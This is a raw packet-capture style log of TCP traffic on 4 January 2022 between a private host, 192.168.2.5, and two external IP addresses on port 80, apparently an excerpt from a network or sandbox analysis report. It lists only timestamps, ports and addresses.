Jan 4, 2022 19:33:30.572076082 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575073957 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575131893 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575172901 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575212955 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575252056 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575269938 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575287104 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575290918 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575331926 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575368881 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575407028 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575447083 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575448990 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575459003 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575484991 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575524092 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575562954 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575578928 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575587034 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575745106 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575788021 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575819969 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575828075 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575867891 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575905085 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575927019 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575943947 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.575980902 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.575983047 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576021910 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576049089 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576060057 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576101065 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576141119 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576158047 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576179981 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576194048 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576217890 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576265097 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576277018 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576296091 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576334953 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576358080 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576380968 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576402903 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576442957 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576457977 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576482058 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576504946 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576520920 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576564074 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576581955 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576602936 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576641083 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576659918 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576679945 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576716900 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576755047 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576771021 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576792955 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576829910 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576833963 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576905966 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576925039 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.576947927 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.576986074 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577024937 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577047110 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577064037 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577080965 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577107906 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577142954 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577178001 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577209949 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577214956 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577239037 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577270985 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577302933 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577346087 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577383995 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577423096 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577419996 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577464104 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577467918 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577477932 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577502012 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577542067 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577563047 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577581882 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577621937 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577644110 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577661037 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577661037 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577694893 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577721119 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577759981 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577764988 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577799082 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577807903 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577840090 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577877045 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577914953 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.577955008 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.577960968 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578001976 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578011990 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578039885 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578078032 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578080893 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578135014 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578154087 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578178883 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578216076 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578255892 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578299999 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578299999 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578330040 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578337908 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578377008 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578403950 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578414917 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578452110 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578480005 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578490019 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578530073 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578550100 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578562975 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.578568935 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578609943 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.578623056 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.586303949 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.590410948 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.594496965 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.594573975 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.594975948 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.595175028 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.595415115 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.656615019 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.656884909 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.657042980 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.660520077 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.660566092 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.660623074 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.661056042 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.661554098 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.662065029 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.662107944 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.662130117 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.662177086 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.719228029 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.722651958 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.723007917 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.723018885 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.723195076 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.723764896 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.726581097 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.727055073 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.727154970 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.727581978 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.728097916 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.728152037 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.728233099 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.728624105 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.729162931 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.729257107 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.729665041 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.729737997 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.729804039 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.729845047 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.729942083 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.794653893 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.794713974 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.794754028 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.794791937 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.794826031 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.794832945 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.794876099 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.794996023 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795036077 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795074940 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795106888 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.795119047 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795145035 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.795156956 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795515060 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795556068 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795597076 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795600891 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.795623064 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.795636892 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795675993 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.795732975 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.796030998 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.796070099 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.796109915 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.796140909 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.796149015 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.796163082 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.796186924 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.796597958 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.796638966 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.796669006 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.796679020 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.796716928 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.797084093 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.797121048 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.797187090 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.797609091 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.798105955 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.798147917 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.798190117 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.798213005 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.800426006 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.847909927 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.856754065 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.857167959 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.857311964 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.860646009 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.860690117 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.860726118 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.860763073 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.860793114 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.860817909 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.860821962 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.861011982 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861061096 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861097097 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861140966 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.861145020 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861186981 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861191988 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.861252069 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.861546040 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861583948 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861618042 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861653090 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861689091 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.861699104 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.861731052 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.862027884 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862062931 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862099886 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862133026 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.862150908 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862168074 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.862193108 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862246990 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.862557888 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862596035 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862629890 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862667084 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.862677097 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862704992 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.862736940 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.863071918 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.863111019 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.863142967 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.863714933 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.863760948 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.863782883 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.863806009 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.863887072 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.864181042 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.864219904 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.864255905 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.864291906 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.868505955 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.868537903 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.868567944 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.868622065 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.868671894 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.869015932 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.869050980 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.869122982 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.869503975 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.869538069 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.869566917 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.869596958 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.869612932 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.869674921 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.870048046 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.870076895 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.870146036 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.870177031 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.910465002 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.912087917 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.922068119 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.922111034 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.922143936 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.922621965 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.924702883 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.924750090 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.924846888 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.925031900 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.925215960 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.925609112 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.926079988 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.926134109 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.926182032 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.928574085 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.928623915 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.928657055 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.928702116 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.928742886 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.928756952 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.928771973 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929204941 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929238081 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929280043 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929281950 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.929321051 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929322004 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.929430962 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.929573059 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929605007 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929671049 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.929721117 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929754972 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.929821968 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.930011034 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.930179119 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.930212021 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.930241108 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.930278063 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.930305958 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.960318089 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.990744114 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.990792990 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.990830898 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.990869999 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.990895987 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.990919113 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.990947962 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.990968943 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.990993977 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.991039038 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.991044998 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.991086960 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.991128922 CET	80	49827	151.251.30.69	192.168.2.5
